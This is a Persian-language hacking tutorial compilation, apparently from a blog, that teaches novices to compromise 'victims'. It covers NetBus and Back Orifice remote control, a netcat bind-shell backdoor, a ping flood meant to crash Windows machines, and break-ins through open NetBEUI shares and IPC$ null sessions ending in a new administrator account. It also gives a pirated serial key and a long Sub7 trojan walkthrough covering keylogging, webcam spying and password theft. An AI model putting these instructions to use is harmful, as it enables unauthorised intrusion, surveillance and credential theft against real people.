البته در اينجا ميتونيد از يه RANGE IP استفاده كنيد هم ميتونيد اي پي قرباني رو بدهيد و در صورت باز بودن پرت مراحل بعدي را اجرا كنيد . حالا ما فرض رو بز اين ميذاريم كه يه Range ip داديم . بعد از پايان اسكن شما با قسمتي بنام SERVER FOUND مواجه ميشويد كه يكسري اي پي را با پرت هاي باز مورد نظر شما پيدا كرده در ادامه يكي از اي پي ها را به دلخواه انتخاب كنيد .
در قسمت بعدي NETBUS را باز كرده و در جاي Hostname/IP اي پي مورد نظر را وارد كنيد و در ادامه ي كار اگر از شما پسسورد بخواهد بايد از Telnet استفاده كنيد و اگر نخواهد كه كار تقريبا تمومه . حالا فرض ميكنيم كه پسسورد خواست بايد مراحل زير را طي كنيد:
به قسمت RUN رفته و CMD را اجرا كرده و بعد Telnet را اجرا كنيد و اي پي را نوشته و بعد از پرت 12345 استفاده كنيد در پنجره Netbus براي كرك پسوورد اين نوشته را وارد كنيد: Password;1;123serverPWD;Y4hoo
شما ميتونيد پسورد ديگه اي هم بذاريد حالا با Netbus دوباره وصل شده و پسورد را Y4hoo ميزنيد
همه چيز در دست شماست :)
حالا به قسمت File Manager رفته و سرور را به سيستم طرف ارسال كنيد و در قسمتي كه از شما پرسيد سرور را به كجا بفرستم شما ادرس C:Windows را ميدهيد .و قسمت دانلود را ميبنديم . حالا كارمون با Netbus تموم شد .
حالا به BACK ORFICE ميريم و در قسمت Target Host اي پي طرفو ميزنيم و پرت 12345 و باز در قسمت بعدي پسورد را زده و SEND را ميزنيم
با اين روش كارهاي زيادي ميشه انجام داد !
....................................................................................

NetCat چاقوي همه کاره سويسي:

ميتوان گفت هيچ يک از حملات شبکه اي بدون نام بردن از NetCat کامل نخواهد بود. اين برنامه ميتواند هم براي مديران سيستم و هم براي مهاجمان مورد استفاده قرار بگيرد. NetCat در ابتدا توسط Hobbit نوشته شد و در اوايل سال 1996 منتشر شد که البته براي سيستم هاي Unixنوشته شده بود, و در سال 1998, Weld Pond نسخه اي براي ويندوز را ايجاد کرد.
NetCat مثل يک ابزار شبکه اي همه منظوره است که براي ارسال يا دريافت داده ها از هر پورت TCP يا UDP به هر پورت UDP ياTCP به کار ميرود. همچنين ميتوان به عنوان ,Port scanner Backdoor ,Port listener ,downloda, uploader و... استفاده کرد.
حال با چند مثال به بررسي چند کاربرد اين برنامه ميپردازيم.
Port scanning
براي اسکن کردن پورت هاي باز (پورت هاي در حالت listening) يک سيستم خط زير را
به کار ميبريم:
nc –v –w 2 –z [target] 10-100
در اينجا target نام يا IP سيستمي که مي خواهيم اسکن کنيم است.
سويچ -v اطلاعاتي درباره اتصال ميدهد.
سويچ -wزمان استفاده شده براي ايجاد يك اتصال را محدود ميكند.
سويچ-z نيز از ارسال هر گونه داده جلوگيري ميکند و باعث سريعتر شدن اسکن ميگردد.
در اين حالت nc تمام پورت هاي باز سيستم را که بين 1 تا 100 هستند اسکن ميکند و نام پورت هاي معروفي مثل 21 يا 23 که پورت هاي FTP و Telnet مي باشند را نيز نمايش ميدهد.
البته NetCat وسيله سريعي براي پورت اسکنينگ نيست و براي اينکار برنامه اي مانند Nmap بهتر عمل ميکند.
Connect to Port
براي اتصال به يک پورت از يک سيستم ميتوان از خط زير استفاده کرد:
nc –v –n [target] [port number]
با استفاده از سويچ –n NetCat فقط ادرس هايIP عددي را مي پذيرد.
از اين دستور ميتوان به جاي telnet در ويندوز استفاده کرد که هم باعث خوانا شدن نوشته ها ميشود و همچنين پايدارتر از telnet است.
Backdoor
يکي از کاربرد هاي ديگر nc . استفاده از ان به عنوان Backdoor است. براي اين کار خط زير را اجرا ميکنيم:
nc –L –p [port number] –d –e [cmd.exe]
سويچ –L nc را در حالت listen راه مي اندازد
سويچ-p شماره پورتي را که ميخواهيد به ان وصل شويد مشخص ميکند.
سويچ –d نتکت را در حالت جدا از کنسول اجرا ميکند.
سويچ –e برنامه اي را که شما مشخص کرده ايد اجرا ميکند.
در اينجا port number شماره پورت است که ميتواند هر پورتي باشد (پورت رزرو نشده) و شما ميخواهيد به ان پورت وصل شويد.
(Command prompt) cmd.exe هم برنامه اي است که پس از اتصال به nc روي آن پورت اجرا خواهد شد. در اين قسمت اگر برنامه اي که ميخواهيد پس از وصل شدن اجرا شود در Directory nc نباشد بايد نام درايو و directory آن را هم بنويسيد:
nc –L –p 5566 –d –e c:winntsystem32cmd.exe
در اين حالت nc روي پورت 5566 در حالت listening قرار ميگيرد و به محض برقراري ارتباط cmd.exe را روي اين پورت فعال ميکند.
File Transfering
از کاربردهاي ديگر اين برنامه انتقال فايل بين دو سيستم است. بسياري از شبکه ها جلوي FTP را ميگيرند يا اينکه به دليلي شما نميتوانيد از TFTP استفاده کنيد. ميتوان به وسيله nc فايل را با استفاده از پورت TCP و UDP منتقل کرد.
براي اين کار بايد nc را در حالت listen در سيستم مقصد راه انداخته و خروجي ان را به يک فايل منتقل کنيم. در سيستم مبدا نيز ان را در حالت client قرار ميدهيم تا به سيستم مقصد روي پورت مورد نظر وصل شود و فايل وروي را منتقل ميکنيم.
کامپيوتر مبدا:
client pc(recive file): nc –l –p [port] > [file]
کامپيوتر مقصد:
Srver pc(sending file): nc [client-IP] [port] < [file]
با به کار بردن سويچ –u فايل به صورت UDP انتقال ميابد.
براي مثال ميخواهيم فايل hack.htm را به کامپيوتري با IP 192.168.0.1 بفرستيم:
روي کامپيوتر مقصد اين خط را مينويسيم:
nc –l –p 5566 > hack.htm
پورت 5566 را به صورت دلخواه انتخاب کرده ايم.
روي کامپيوتر خود نيز اين خط را مينويسيم:
nc 192.168.0.1 < hack.htm
هميشه اول بايد nc را روي کامپيوتر مقصد اجرا کنيد.
....................................................................................

روشي براي ريست کردن قرباني

امروز طريق Restart كردن قرباني را به شما ياد ميدم . در اين روش شما ياد ميگيرين كه چگونه با ايجاد Fatal Eror بر روي قرباني سيستم او را ReBoot كنيد
اين روش فقط بر روي ويندوزهاي 9x , 2000 , nt قابل اجرا ميباشد ميتوانيد از برنامه هاي مختلفي استفاده كنيد اما من Winnuke را پيشنهاد ميكنم حالا به طريق زير عمل كنيد :
اي پي مورد نظر را پيدا كرده و به آن Ping كرده و از وجود ان اطمينان حاصل كنيد . در ادامه از طريق DOS دستور زير را وارد
كنيد Ping -v igmp 192.168.0.199 -l 1500 -t
سوييچ v به ما اجازه ي استفاده از پروتوكولهاي مختلف ميدهد -l حجم پكتها و -t فرستادن اين پكتها بدون مكس را انجام ميدهم زماني كه با پيغام Target is unreachable مواجه شديد كار با موفقيت انجام گرفته !!!
....................................................................................

بيشتر اشكالات امنيتي براي سيستم عامل هاي ميكروسافت

خب ! بيشتر اشكالات امنيتي براي سيستم عامل هاي ميكروسافت
بدليل اشتراك هاي شبكه اي حفاظت نشده است .براي آشنايي با اين روش هك ابتدا بايد ارتباط شما تنظيم شود
شويدproperties كليد سمت راست كنيد و واردnetwork neighbourhoud اول روى
بزنيد وadd نصب شده يا نه , اگر نه , روي كليد NetBEUI بعد چك مى كنيد كه پروتكل
از قسمت پروتكل از ليست ماكروسافت نصب كنيد
بشين dial up connection داخل start>programs>accessories>communication اكنون از طريق
را انتخات كنيد واز بخش properties و بروى ايكن ارتباطى خود كليد راست كنيد و
برويد ومشخصات اين بخش را مثل اين عكس كنيدservertype به general
پيدا كنيد ip يك NetBEUI داشته باشيد يا اين كه با يك جستوجوگر ip حالا بايد يك
من با يک برنامه معمولي امتحان كردم
ipرا وارد كنيد به اين صورت internet Explorerشما حالا بايد در بالاى
---.---.---.---\name drive
123.123.123.123\c مثلا
بعد هر كار مى خواهين مي تونين روى كامپيوتر طرف انجام بدهيد
اميدوارم موفق باشين خدا نگهدارتون
....................................................................................

هيچ مسئوليتي در مورد اين نوشته را قبول نميكنم !

امروز آموزش هك ويندوز 2000,xp,nt رو ميدم
يكي از مشكلات بزرگ ويندوز كه در Service pack هاي ويندوز هم وجود داره IPC هست
حالا ما با استفاده از اين روش كارمون را شروع ميكنيم .
يكي از نرم افزار هاي مورد نياز GFI:LANguard Security Scaner هست كه بخاطر قدرت و كارايي اين برنامه را پيشنهاد ميكنم كه فقط بايد يكسري
تغييرات رو روي آن انجام بدين اين برنامه را از سايت زير داونلود كنيد
دانلود اگه اينجا نشد اينجا
Serial:6J7FF-OL03J-9OHQB-1Q0XZ-F7PLZKH5TY-K1GSN-7BT5F-78A0B-CSKYU
البته ورژن 3.3 هم هست ولي من ورژن 3.2 را پيشنهاد ميكنم كه در سايت بالا ورژن 3.2 وجود دارد و سريال بالا نيز مربوط به همين ورژن هست
حالا بايد يكسري تغييرات در اين برنامه بديم .
1.option را انتخاب كنيد و به قسمت Scanning برويد و اين شاخه را انتخاب كنيد Configure ports و حالا در قسمت
Port number/range:1025
port desciription:network blackjacket
و حالا ADD PORT را بزنيد .
در قسمت New scan بايد يك Range اي پي رو اسكن كنيد تا يك اي پي با مشخصات زير پيدا شود
پرت هاي باز 1025,139 را داشته باشد .
IPC share نيز داشته باشد
حالا بايد به اين اي پي به صورت زير كانكت شويد :
1.در قسمت Run اين جمله را وارد كنيد CMD
2. دستور زير را وارد كنيد :
Net use \Ipadress\IPC$""/user:Administrator
اگر دستور زير را دريافت كردين
Successfully The Command was completed
از اي پي مورد نظر Share گرفتين و در اختيار شماست اما در غير اينصورت Share داراي پسوورد ميباشد كه من براي كرك كردن پسسوورد از اين برنامه
استقاده ميكنم :
PQWAK
كه اين برنامه رو از سايت Download.com دريافت كنيد .
بعد از كرك از پسوورد بدست آمده اينگونه استفاده كنيد
Net use \ipadress\IPC$ "password"/user:administrator
در صورتيكه ميخواهيد با Telnet كانكت شويد مراحل زير را طي كنيد .
در قسمت RUN تايپ كنيد Regedit
به اين آدرس برويد HKEY_LOCAL_MACHINE--Software--Microsoft--Telnet Server--1.0?NTLM
حالا Value date اين فايل رو به اين جمله تغيير دهيد : 2?1
در قسمت بعدي به RUN برويد و اين دستور را تايپ كنيد TELNET
دستور زير را وارد كنيد Telnet ipadress
در ادامه اگر از شما يوزر و پسوورد خواست يوزر را Administrator و پسسورد را خالي بگذاريد
حالا احتياج به ساختن يك يوزر براي خود داريد . اين دستور را در ادامه وارد كنيد :
Net user username password/add
حالا براي قرار دادن يوزر خود در گروه ادمين ها اين دستور را وارد كنيد
Net groups Administrators username/add
تمام شد شما به هدف خود رسيده ايد اما من براي تازه كارها روش اول را پيشنهاد ميكنم
ولي دوستان ديگر ميتوانند از Telnet استفاده كنند
نكته : من هيچ مسئوليتي در مورد تغيير رجيستري نميپذيرم اگر شما قادر به Edit رجيستري نيستيد بهتره از آن يه Backup تهيه كنيد يا
در نهايت از روش اول استفاده كنيد
....................................................................................

اين چيزي که امروز ميگم زياد درست نيست ولي...

تا حالا شده که روي يک لينک کليک کنيد و بي نهايت صفحه وب براتون باز بشه که يا سيستمتون reset يا مجبور بشيد Dicconect کنيـــد؟؟؟
خوب حالا من يه دونه از لينک هـــا رو بهتون ميدم ولي جون مادرتون اين لينک رو الکي برا کسي نفرستيد
مرســــي
http://www.feetman.com
زماني که وارد سايت بشيد مشکلي پيش نمياد ولي اگه روي عکس داخل سايت کليک کنيـــد...
....................................................................................

يه مطلب عجيب

اين چيزي رو امروز ميخواهم براتون بنويســـم تو يه سايت پيدا کردم و معنيش رو نفهميدم اگه کسي فهميد لطفا به ما هم بگه:
متــــن:
راهي ديگر در registry کنترول همگام ساز معفي تايم system مبدا IsP
default=2, value 1=time.windows.com
Hive: HKEY_LOCAL_MACHINE
Key :SYSTEM\CurrentControlSet\Services\W32Time\TimeProviders\NtpClient
Name: SpecialPollInterval
Type: REG_DWORD
Value: #secondsdesired
default
2=time.nist.gov
Hive: HKEY_LOCAL_MACHINE
Key:SOFTWARE\Microsoft\Windows\CurrentVersion\DateTime\Servers
Name: (Default)
Type :REG_SZ
Value:entry of choice
1-# time servers you have default
3=
thenewtimeserver.com
....................................................................................

آموزش

طلايـــي

کامل کامــــل ساب سون

سلام به همه بازديد کنندگان و دوستان عزيز مي دونم که همتون منتظر اين درس بودين و يه کم دير شده اما الان ديگه اماده است و در دسترس شما اميدوارم که به کارتون بياد .
مقدمه :تروجان چيست ؟ تروجان يک برنامه ي نرم افزاري است که مي توان بوسيله ي آن و راه ارتباطي آي پي بر کامپيوتري ديگر(کامپيوتر قرباني) تسلط يافت .
آموزش کامل تروجان sub7 v pars 7
خوب گزينه ها رو از بالا به پايين شروع مي کنم .
اين ساب سون ي که من دارم توضيح مي دم ورجن فارسي اون که مي تونيد اون رو از وب سايت دانلود من www.kaveh-aod.20m.com/aoddownload برداريد .
cestination خوب اين قسمت براي وارد کردن آي پي قرباني است اگر درباره ي آي پي نمي دونيد مي توانيد توضيح درباره ي اون رو در همين و بلاگ در قسمت هاي پاييني بخونيد که روش بدست آوردن اون رو هم توضيح دادم .
port اين قسمت براي وارد کردن پورت که براي متصل شدن به کامپيوتر قرباني به آن نيز نياز داريم براي بدست آوردن آن مي توانيد از نرم افزارهايي براي بدست آوردن پورت استفاده کنيد که در قسمت دانلود برنامه ها گذاشتم اما شما براي سرچ هايي که براي يک محدوده مي کنيد مي توانيد از پورت 27374 استفاده کنيد که يک پورت Amator است .
connect اين قسمت براي وصل شدن به کامپيوتر قرباني است و اگر شما پورت و آي پي قرباني رو درست وارد کرده باشيد مي توانيد با فشردن اين دکمه به کامپيوتر قرباني وصل شويد در غير اين صورت error دريافت کرده و وصل نمي شويد.
... با فشار دادن اين دکمه صحفه اي براي شما باز مي شود که مي توان با آن به آي پي و پورت افراد قبلي که قصد به هک آنها کرده ايد دست يافت .
تذکر : اين ساب سون ورجن mobman است و در نتيجه بايد روي xp عمل کند اما در صورت عمل نکردن آن را در سيستم عاملهاي ديگر آزمايش کنيد.
علي کريم آبادي که نام شخص سازنده ي اين برنامه است که من از او براي ايجادش تشکر مي کنم و شما با کليک روي اين گزينه مي توانيد با او بيشتر آشنا شويد و برنامه هاي ديگري رو که ايشون فارسي کردن رو دانلود کنيد .
کليدهاي ميانبر> ميانبر هاي محلي > ip tool اگر با هک در ضمينه ي پيشرفته آشنا هستيد مي توانيد از اين قسمت به راحتي استفاده کنيد اين براي انجام يک سري از اعمال طولاني که ما بايد در cmd که در run موجود است انجام دهيم را به سادگي انجام مي دهد . ابتدا روي گزينه ي ip tool کليک کنيد ، پنجره اي براي شما باز مي شود که تشکيل شده از چند دکمه و چند پنجره است که امکان تايپ در آن به ما داده شده است ، در قسمت host name اسم host خود يا يک سايت را مي نويسيم مثل www.yahoo.com در قسمت آي پي آدرس اگر روش بدست آوردن آي پي رو بلديم بدست مي آوريم و مي نويسيم و اگر نه روي گزينه ي ping ip کليک مي کنيم تا آي پي host name را بگيريم اگر روي resolve جلوي host name کليک کنيم host name is unknown همينجور که مي بينيد وا مي شود يا ممکن است به آن کانکت شود resolve uin با اين دکمه مي توانيم ip را resolve کنيم با کليک روي reselve look up مي توانيم دستور ns look up را اجرا کنيم و با دکمه clear مي توانيم جوابهاي قبلي را پاک کنيم .
address book با کليک روي اين گزينه يک پنجره ي جديد باز مي شود که به وسيله ي آن مي توانيد آي پي هاي قبلي را ببينيد و آنها را save و يا حتي آي پي هاي قبلي را open کنيم دربارهي اين قسمت بيشتر توضيح نمي دم چون بيشتر از اين چيزي نداره.
concole با کليک روي اين گزينه فضايي مانند ms - dos براي شما باز مي شود که دستورهايي را که از زمان اجراي برنامه به ساب سون داده ايد را بصورتي ديگر به شما نشان مي دهد.
settings با کليک روي اين گزينه پنجره اي جديد باز مي شود که در آن مي توان وضعيت ظاهري و باطني ساي سون رو عوض کرد : 1.display misk enable multi drag اگر فعال نباشد مي توان با يک کليک در برنامه وارد هر قسمتي شد
show downloaded image با غير فعال کردن آن ديکر نمي توانيد تصاوير کامپيوتر قرباني را دانلود کنيد .
auto resize main window که با فعال بودنش صحفه ي اصلي ساب سون بطور اتومات تنظيم مي شود(طول و ارتفاع)
dont show clinet toolbar با غير فعال کردن آن دکمه هاي هيانبر در اولين صحفه ظاهر مي شوند.
misk
transfer port : که نشان دهنده ي پورت amator يا هر پورتي که برانامه را روي آن تنظيم کرده ايد است.
check command با فعال بودن آن وقتي مي خواهيد به آي پي connect شويد خود برنامه command هاي قفل شده را کنترل مي کند
skin/other
display text ... نوشته اي که با نگاه داشتن ماوس روي گزينه ها مي آيد در واقع help را غير فعال مي کند.
display round ... با فعال کردن آن مي توانيد از امکان عوض کردن skin بهرمند شويد.
use skin با فعال کردن آن اسکين به حالت اوليه اش باز مي گردد.
default با کليک روي اين گزينه مي توانيد پشت زمينه اي مشکي به برنامه بدهيد.
get more skins با کليک روي اين گزينه شما مي توانيد بقيه ي skin هاي sub 7 رو از اينترنت دريافت کنيد.
menu
show tree lines که بوسيله ي آن مي توان حالتي درختي به گزينه ها داد.
display menu icons که با فعال کردن آن مي توان به گزينه هاي صحفه ي اصلي حالتي ستاره مانند داد.
colors
با اين منو مي توان رنگ هاي قسمت هاي مختلف ساب سون را تغيير داد.
حالا وارد قسمتهاي بعدي ساب سون مي شويم:
ميانبرهاي اطلاعاتي
مديريت فايل ها : با کليک روي اين گزينه مي توانيد (اگر به کامپيوتر قرباني کانکت باشيد) به داخل هارد او يک نگاهي بيندازيد در اينجا ديگر به توضيح نيازي نست چون کاملا مشخص است که ما مي توانيم به وسيله ي اين گزينه فايلهاي قرباني را ببينيم آنها را پاک با ويرايش کنيم و يا حتي آنها را پاک کنيم.
queue با کليک روي اين گزينه پنجره اي جديد براي شما باز مي شود که بوسيله ي آن مي توانيد بصورت اختصاصي فايلهاي فرد مقابل را روي هارد خود ذخيره کنيد فقط کافيست روي فايل مورد نظر کليک کنيد تا select شود بعد روي عکس ديسکت کليک کنيد و مکان ذخيره شدن را انتخاب ،روي save کليک کنيد.
مديريت برنامه : با کليک روي آن پنجره اي جديد براي شما باز مي شود که بوسيله ي آن مي توانيد برنامه هاي موجود در کامپبوتر قرباني را کنترل کنيد و امکانات بيشتر از file massenger دارد.
جاسوسي مونيتور : که يکي از بخشهاي جالب sub7 است و با کليک روي آن پنجره اي جديد براي شما باز مي شود که شما بوسيله ي آن مي توانيم از زاويه ديد مونيتور قرباني ببينيم براي اين کار روي عکس عينک بالا کليک مي کنيم اين گزينه براي فعال يا غير فعال کردن اين امر است . با کليک روي گزينه اي که عکس مونيتور دارد ما مي توانيم تصوير را بصورت full screen ببينيم و با گزينه interval که قابل تنظيم است سرعت پخش تصاوير را مشخص مي کنيم.
نامه هاي اجرا شده : از درون اين قسمت شما مي توانيد به ip هايي که تا الان به آنها connect شديد نظاره کنيد.
مديريت plugin : که با کليک روي آن پنجره اي جديد باز مي شود که بوسيله ي آن مي توان از طريق آي پي فايلي براي فرد قرباني پست کرد مثل ويروس چون در اينجا ديگر firewall ياهو کاربريد ندارد.
اجراي برنامه
سايت ساب سون : با فشردن اين دکمه وارد سايت ساب سون مي شويم
notepad.exe با فشردن اين دکمه وارد فضاي نوت پد مي شويم
telnet با اين دکمه وارد فضاي telnet مي شويم که مربوط به هک پيشرفته است.
ارتباطي
فيلترها : اين قسمت رو چند روز ديگه در قسمت آموزش هک آموزش مي دم که روشي راحت تر از اين روش است و مي توان با آن وارد سايت هاي فيلتر دار شد.
در مورد دستگاه : اگر روي آن کليک کنيد پنجره اي جديد باز مي ود که مشخصات کامپيوتر قرباني را نمايش مي دهد.
اطلاعات بيشتر : مي توانيد اطلاعاتي ديگر در مورد کامپيوتر قرباني بيابيد.
اطلاعات خانگي: که در مورد اسم کامپيوتر شخص مقابل .اسم user آن و ... اطلاعاتي مي دهد.
تنظيمات سرور : در اينجا ديگر نيازي به توضيح نيست چون همه چيز واضح و مشخص است شما مي توانيد در اينجا اسم سرور را عوض کنيد يا بوسيله يک فايل html محتواي آن را عوض کنيد ...
دستورات ارتباطي
open onconnect که مي توان با آن کامندهاي ساخته شده را open کرد .
clear commands که کامنده را پاک مي کند.
add command که مي توان با آن کامند ايجاد کرد.
ابزار ديگر
وضعيت وب : که مي تواند نشان دهد که قرباني در کدام سايتها است.
وضعيت دانلود : که مي تواند وضعيت دانلود او را مشخص کرد يا فايلي را که در حال دانلود آن است را عوض کرد.
اسکنر
اسکنر راه دور : اين يکي از بخشهاي مهم ساب سون است که با آن مي توان آي پي هايي را که قابل هک شدن هستند و در يک محدوده ي خاص قرار دارند را شناسايي کرد ، تذکر : تنها کامپيوتر هايي توسط اين اسکنر شناسايي مي شوند که داراي ويروس server.exe باشند. براي جستجوي آي پي به طريقه ي زير عمل کنيد :
1= در قسمت ipشروع نام آي پي منطقه اي را که مي خواهيد بنويسيد با اين فرق که آخرين عدد را مساوي 1 قرار دهيد مثل :217.218.245.1
2= در قسمت ipپاياني ip آخري را بگذاريد يعني همان آي پي قبلي با اين تفاوت که آن را عدد آخر را مساوي 255 قرار مي دهيد مثل 217.218.245.255
3= در قسمت پورت ، پورت amator يا هر گونه پورت خاص ديگري را تايپ کنيد
4 = در قسمت وقفه عدد 8 يا 9 را انتخاب کنيد تا جستجويي دقيق تر داشته باشيد
5= و در آخر روي گزينه ي شروع اسکن کليک کنيد
اسکنر محلي : طرز استفاده از آن درست مثل اسکنر راه دور است.
کليد ها و پيغام ها :
صحفه کليد
باز کردن جاسوس صحفه کليد :با فشردن اين دکمه صحفه اي جديد باز مي شود که با فشردن علامت دستي که در بالاي آن است مي توان آن را فعال يا غير فعال کرد ، و شما مي توانيد در پنجره ي سفيد موجود در آن کلماتي را که قرباني تايپ مي کند ببينيد.
باز کردن کليدهاي ضبط شده : با کليک روي آن پنجره اي جديد باز مي شود که مي توان کلماتي را که فرد قرباني تا حالا تايپ کرده را ديد.
ارسال کليد : وقتي روي آن کليک مي کنيم پنجره اي جديد باز مي شود که بوسيله ي آن مي توان لغات را براي فرد مورد نظر پست کرد وکه با نوشتن و کليک روي دکمه ي ارسل پيام قابل انجام است.
از کار انداختن همه ي کليدها: که بوسيله ي کليد کردن روي آن مي توانيد کيبرد قرباني را از کار بيندازيد.
فعال کردن همه ي کليدها : که شما با کليک روي آن مي توانيد کيبرد را به حالت اوليه خود باز گردانيد.
ماتريکس : که شما وقتي روي آن کليک مي کنيد پنجره اي براي شما باز مي شود که شما با نوشتن درون آن و ارسالش مي توانيد متني را براي فرد پست کنيد که به هيچ و جه قابل close نيست و تا restart نکند پاک نمي شود.
مديريت پيغام : اين يکي ديگر از بخشهاي جالب sub7 است که با فشردن آن يک پنجره براي ما باز مي شود که مي توان بوسيله ي آن اخطارهاي ويندوز را براي قرباني پست کرد مثلا مي توان پست کرد > you hard is clear خوب پس بدرد مي خوره براي اين کار بعد از آمدن پنجره ي جديد در قسمت icons شکل سوال خود را مشخص مي کنيد که بصورت سوال باشد يا error يا هر چيز ديگه و در قسمت buttons مي تونيد مشخص کنيد که شمل چه دکمه هايي باشد مثلا شامل ok وcancelباشد يا فقط ok يا داراي retry هم باشد و در مکان title عنوان error را مشخص مي کنيد و در قسمت text موضوع error را مشخص مي کنيم و حالا مي توانيم با گزينه ي test massege مي توانيم error را روي کامپيوتر خود آزمايش کنيم و با گزينه ي send massege مي توانيم آن را براي کامپيوتر قرباني پست کنيم.
مديريت جاسوس ها : که با فشردن اين دکمه پنجره اي جديد باز مي شود که بوسيله ي آن مي توانيم از سيستم mail قرباني استفاده کنيم و يا به آن نفوذ کنيم وقتي پنجره ي جديد باز شد از چپ به راست امتحان مي کنيم icq1.2.msn.3.aol.4.yahoo که بعد از امتحان آنها يکي از آنها البته اگر قرباني داخل ايميلش باشد باز مي شود که در ايران معمولا مردم از msn يا yahoo ايميل مي گيرن و حالا کنترل ايميل قرباني در دست شماست.
icq takeover اين قسمت مانند همان قسمت بالاست فقط اختصاصي براي icq ساخته شده .
پيشرفته
تذکر :اين قسمت بدرد کس هايي مي خورد که با روشهاي هک پيشرفته آشنايي داشته باشن.
سرور انتقال فايل: که بوسيله ي آن مي توان افراد را به درون آن برد و بوسيله ي پورت و فايل هاي درون کامپيوترمان به آن نفوذ کرد ... بيشتر از اين در رابطه با اين بخش توضيح نمي دم . چون لزومي نمي بينم.
جستجوي فايل : اين قسمت از دو بخش تشکيل شده است :
1- پيدا کرن فايل : با فشردن اين دکمه پنجره اي جديد باز مي شود که شما با استفاده از آن مي توانيد يک فايل را سرچ کنيد مثلا Booter iron guard.exe يا Booter Iron guard.jpg براي اين کار بعد از باز شدن پنجره ي جديد در قسمت اول پسفند فايل را تايپ مي کنيم مثلا jpg يا exe ، zip و در قسمت بعد م گوييم در چه folder اين رو search کنه و در قسمت پاييني (all drives) مي تونيم بگيم که در تمام درايوها اين کار رو بکنه و با انتخاب includesubfolders مي توانيم بگيم که در زير شاخه ها نيز search کند و در نهايت روي گزينه ي search کليک مي کنيم.
2- نمايش فايلهاي پيدا شده : ما براي ديدن فايلهايي که در بالا سرچ کرديم روي اين بخش کليک مي کنيم تا پنجره اي جديد باز شود وفايلهاي پيدا شده را نمايش دهد .
جاسوسي اطلاعات : اين قسمت شامل دو قسمت است :
1- فعال/غير فعال : که در اين قسمت مي توان گرفتن اطلاعات از کامپيوتر فرد قرباني را فعال يا غير فعال کرد . بقيه در اين قسمت مشخص است .
پنجره ذخيره شده : فايلهايي که از کار بالا حاصل شده است در اين قسمت قابل رويت است که با کليک کردن روي اين گزينه پنجره اي جديد باز مي شود که حاوي همان فايل هاست .
پسوردها : اين قسمت شامل هفت بخش است :
محافظ صحفه نمايش : که با کليک روي آن رنگ هاي کامپيوتر قرباني در هم ريخته خواهد شد .
ذخيره شده : که با کليک روي آن مي توانيم سورس هاي با پسفند html کامپيوتر قرباني که همان صحفه هاي اينترنتي است را بگيريم .
پسوردهاي اينترنت : فکر مي کنم اين بخش براي شما بايد خيلي جالب باشه پس منم بيشتر توضيح مي دم .خوب اگر به کامپيوتر فرد قرباني وصل شده باشيد با کليک روي اين گزينه پسورد او را دريافت خواهيد کرد و اگر اينطور نبود از يک راه ديگر استفاده مي کنيم که در قسمت پسوردهاي عمومي گفتم.
پسورد icq که بوسيله ي آن اگر فرد داراي ايميل icq باشد مي توانيم پسورد آن را دريافت کنيم.
پسورد aim درباره ي اين نوع پسورها بايد بگم که براي پسورد فايلهاي html است و بوسيله ي اين گزينه مي توانيم به پسورد آن دست بيابيم.
پسوردهاي عمومي : که ما بوسيله ي آن مي توانيم به پسورد conection ها پي ببرايم البته هم user name و هم password براي اين کار وقتي روي اين گزينه کليک کنيم يک پنجره جديد باز مي شود که حاوي user name ها و password هايي است که بصورت رمز نوشته شده است شکستن رمز اون کاري نداره فقط يادتون باشه که خط آخر رو رمز شکني کنيد چون خطهاي بالايي براي اينترنت هاي قبلي است .. براي رمز شکني شما همچين جمله اي خواهيد داشت > internettime of Booter6578= time line 6789yui شما با ديدن اين جمله بايد user و password رو تشخيص بدين مصلا در اين جمله به نظر مي رسه که user name =Booter6578 و password=6789yui پس حالا ديگه مي تونين پسورد اينترنت هر کسي رو بگيريد.
سرقت پسورد icq در اين قسمت ما مانند قسمت بالايي مي تونيم پسورد ايميل هاي icq رو بيابيم . پس نيازي به توضيح بيشتر نداره .
ويرايشگر ريجستري : با کليک روي آن پنجره اي جديد باز خواهد شد که بوسيله ي آن مي توان ريجستري ويندوز قرباني را تغيير داد.... اگر با ريجستري و ترفندهاش آشنايي دارين اين حتمن بدردتون مي خوره ....
مرورگر شبکه : با کليک روي آن پنجره اي جديد باز مي شود که بوسيله ي آن مي توان از راويه ديد internet browser قرباني ديد.
مديريت برنامه هاي اجرايي : که وقتي روي آن کليک کنيم پنجره اي جديد باز مي شود که با آن مي توان برنامه هاي در حال اجراي قرباني را کنترل کرد مثلا آن را بست edit کرد و يا ...
app redirect که بوسيله ي آن مي توان کنترل telnet را به دست گرفت(چون در مبحث هک پيشرفته است توضيح بيشتر درباره ي درست نيست).
port redirect که بوسيله آن و وارد کردن پورتها مي توان بطريقه ي telnet به سايت ها وصل شد و آنها را کنترل کرد .
وضعيت ارتباطي : که شما با کليک روي آن مي توانيد از سرعت اينترنت و يا هر مطلب ديگري که به وضعيت ارتباط او با isp اش وجود دارد دست بيابيد.
ابزار اطلاعاتي
مديريت فايل ها : که درست همانند مديريت فايل بالا است و فقط جايش با آن تفاوت دارد.
برنامه ها ي ويندوز: که مي توانيد به برنامه هاي فعال موجود در ويندوز (اگر ويندوز داشته باشه) تسلط بيابيد .
text-2-speech که با آن مي توانيد کلمات و يا جکلات را براي فرد مقابل پست کنيد به اين صورت که آن را تايپ کرده و روي گزينه ي say it کليک مي کنيم.
مديريت حافظه : که بوسيله ي اين بخش مي توان به هارد فرد و ميزان حجم درايو ها دسترسي پيدا کرد و حجم آنها را عوض کرد.
مديريت چاپگر : که با آن مي توان کنترل پرينتر را به دست گرفت و حتي يک متن را چاپ کرد به اين صورت که متن را تايپ کرده روي گزينه ي نمايش کليک مي کنيم.
مديريت تفريحات
جاسوسي مونيتور : که مانند همان جاسوسي مونيتور بالا است (اين قسمت درست همان قسمت است)
دوربين : که بوسيله ي آن مي توانيم بر web cam قرباني تسلط پيدا کنيم براي اين کار روي آن کليک مي کنيم و بعد از باز شدن پنجره ي جديد براي فعال يا غير فعال کردن web cam روي آن کليک مي کنيم تا تصوير از زاويه ي web cam نمايش بيابد.
تصوير وارونه : که بوسيله آن مي توانيم جهت پخش تصاوير روي مونيتور را عمودي يا افقي و يا... بکنيم.
مديريت چاپ : که درست همانند مديريت چاپگر بالا است.
باز کردن سايت : که ما مي توانيم از طريق آن يک سايت را روي کامپيوتر قرباني باز کنيم . براي اين کار در قسمت url اسم سايت را تايپ کرده و روي گزينه ي باز کردن سايت کليک مي کنيم.
دقت ويندوز : که به وسيله ي آن مي توانيم کيفيت ويندوز را پايين بياوريم.
